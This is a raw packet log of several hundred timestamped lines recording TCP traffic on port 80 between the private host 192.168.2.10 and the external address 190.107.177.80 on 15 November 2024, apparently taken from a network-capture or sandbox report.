Nov 15, 2024 09:10:22.544955015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.544991970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.545007944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.545053005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.545058966 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.545089006 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.545105934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.545124054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.545169115 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.545341015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.545367002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.545473099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.545486927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.545521975 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.545550108 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.578666925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.578705072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.578721046 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.578754902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.578926086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.578991890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.579006910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.579031944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.579061031 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.579075098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.579117060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.579139948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.579423904 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.621251106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621279955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621294975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621308088 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.621335030 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.621335983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621351004 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621383905 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621387959 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.621646881 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621711016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.621727943 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621745110 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621783018 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.621793985 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621809006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.621853113 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.622288942 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.622303963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.622319937 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.622348070 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.622373104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.622437000 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.622452974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.622467995 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.622484922 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.622498035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.622520924 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.622550964 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.662127018 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662154913 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662170887 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662211895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.662240982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662275076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662291050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662319899 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.662334919 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.662409067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662425041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662441015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662466049 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.662862062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662885904 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.662902117 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.695885897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.695909023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.695981979 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.696142912 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.696166992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.696182966 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.696208954 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.696225882 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.696253061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.696309090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.696324110 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.696347952 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.738647938 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.738830090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.738905907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.738922119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.738948107 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.739067078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739084005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739099979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739103079 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.739116907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739140034 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.739173889 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739219904 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.739274979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739330053 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739346981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739378929 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.739463091 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739476919 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739495039 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739504099 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.739510059 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739527941 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.739605904 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.739928961 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.740159035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.740200996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.740216970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.740238905 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.779417992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.779450893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.779467106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.779521942 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.779536963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.779553890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.779553890 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.779613018 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.779654980 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.779671907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.779704094 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.813055038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813087940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813097000 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813290119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813350916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813399076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813415051 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813466072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813530922 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.813585997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.813637972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813684940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813699961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.813724995 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.813749075 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.856095076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856123924 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856138945 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856199980 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.856209993 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856270075 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.856290102 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856307030 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856323004 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856338978 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856347084 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.856579065 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856622934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856652975 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.856678009 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856681108 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.856693983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856800079 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856842995 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.856843948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856861115 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856883049 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.856920958 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856945038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.856956005 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.856985092 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.857002020 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.857017040 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.857037067 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.857069969 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.897078037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897100925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897116899 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897186995 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.897228956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897243023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897258997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897268057 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.897299051 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.897423983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897439957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897794008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897809029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897824049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.897860050 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.897875071 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.930272102 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930288076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930342913 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.930486917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930531025 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930546999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930574894 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.930584908 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930591106 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.930665970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930721998 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.930727005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930742025 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930773973 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.930835009 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.974078894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974466085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974481106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974507093 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974523067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974528074 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.974539042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974555969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974562883 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.974591017 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.974741936 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974759102 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974773884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974790096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974806070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.974809885 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.974822998 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.974843979 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.975589991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.975605965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.975626945 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.975641966 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.975655079 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.975660086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.975677013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.975698948 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.975718975 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.976548910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.976563931 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.976579905 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.976596117 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.976613998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.976629019 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.976654053 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.013700008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.013746023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.013757944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.013806105 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.013853073 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.013904095 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.013945103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.013956070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.013984919 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.014076948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.014087915 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.014098883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.014111042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.014115095 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.014141083 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.014210939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.014250994 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.047833920 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.047885895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.047898054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.047940016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.047970057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.047981977 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.048012972 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.048084974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.048096895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.048108101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.048126936 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.048162937 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.048216105 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.048227072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.048260927 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.091661930 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.091681957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.091692924 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.091727972 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.091767073 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.091841936 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.091877937 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.091891050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.091903925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.091928005 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.091945887 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.091958046 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.092000008 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.092366934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.092405081 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.092416048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.092427015 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.092458963 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.092601061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.092645884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.092655897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.092689991 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.092766047 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.092777014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.092818022 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.093094110 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.093144894 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.093157053 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.093168974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.093199968 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.093230009 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.093241930 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.093295097 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.130997896 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131052971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131063938 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131099939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131129980 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.131139994 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131141901 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.131226063 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131246090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131258011 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131295919 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.131323099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131326914 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.131601095 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131613016 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131623030 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.131654978 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.131684065 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.165064096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165087938 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165097952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165141106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165163040 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.165194988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165214062 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.165267944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165281057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165319920 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.165383101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165394068 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165405035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.165427923 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.165457964 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.209088087 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209110022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209120989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209161997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.209235907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209276915 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.209311962 CET	80	49795	190.107.177.80	192.168.2.10
